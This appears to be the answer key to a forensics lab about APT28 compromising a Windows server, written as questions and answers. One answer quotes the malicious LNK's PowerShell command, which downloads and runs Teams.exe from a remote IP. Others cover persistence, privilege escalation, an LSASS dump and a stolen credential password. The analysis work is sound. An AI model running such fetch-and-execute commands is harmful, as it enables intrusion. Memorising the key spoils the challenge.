APT28 in the Snare

Prompts and answers

• What is the name of the compromised host?
  Dev-QA-Server
• What TCP ports, excluding dynamic ports, are open on the host? (Ascending order)
  135, 445, 3389, 5985
• What user accounts are configured on this host? (Full names, alphabetical order)
  Bob Martin, DFIR Analyst, Tom Barry
• What type of file system does the compromised host use?
  NTFS
• What is the time zone of the compromised host?
  UTC
• What is the name of the archive that Tom downloaded to the server?
  Service_Configuration_Guide.rar
• What file was contained within the archive?
  Service_Configuration.txt.lnk
• What is the SHA256 hash of this malicious LNK file?
  e8b644b8ab35424adee7788003e8feca33a95a46238463978d74587d5ea147d1
• What is the URL from which this archive was downloaded?
  https://file.io/VCvdoR2TuyA3
• What command was executed by the malicious LNK file?
  powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Start-BitsTransfer -Source 'http://54.163.75.95:8085/Teams.exe' -Destination 'C:\Teams.exe'; Start-Process 'C:\Teams.exe'"
• What is the IP address of the C2 server from which the second-stage malware was downloaded?
  54.163.75.95
• Which service was utilised to download second-stage malware?
  BitsTransfer
• Which malicious file was downloaded using the command in the LNK file?
  C:\Teams.exe
• When did Teams.exe establish a connection to the C2 server?
  2024-12-07 15:23:04
• What do we suspect Teams.exe is?
  reverse shell
• What discovery commands did the threat actor execute on the server after gaining access? Format: In order of time executed.
  whoami, ipconfig, systeminfo
• What registry path did the attacker use to establish persistence?
  HKU\S-1-5-21-1966530601-3185510712-10604624-1008\Software\Microsoft\Windows\CurrentVersion\Run\SqdyeRrWHEonQlT
• What file will be executed from the persistence mechanism established by the attacker?
  C:\Users\TOMBAR~1\AppData\Local\Temp\default.exe
• What is the MITRE ID associated with this type of persistence?
  T1547
• What is the name of the first service that the attacker created to escalate privileges?
  MEjwWODscHvM
• What executable did this malicious service run?
  C:\Users\TOMBAR~1\AppData\Local\Temp\ZJBDfQkGXS.exe
• To which privilege level did the attacker successfully escalate?
  SYSTEM
• Through which port does the executable file from the service establish a connection to the Command and Control server?
  1876
• Which command did the attacker use to check which users are in the admin group after escalating his privileges?
  net localgroup Administrators
• What process did the attacker access to dump user passwords from the system?
  lsass.exe
• What was the name of the file containing AWS credentials that the attacker is believed to have stolen from the server?
  AWSCredentials.txt
• What password is stored in this credential file?
  Fgnmusid!23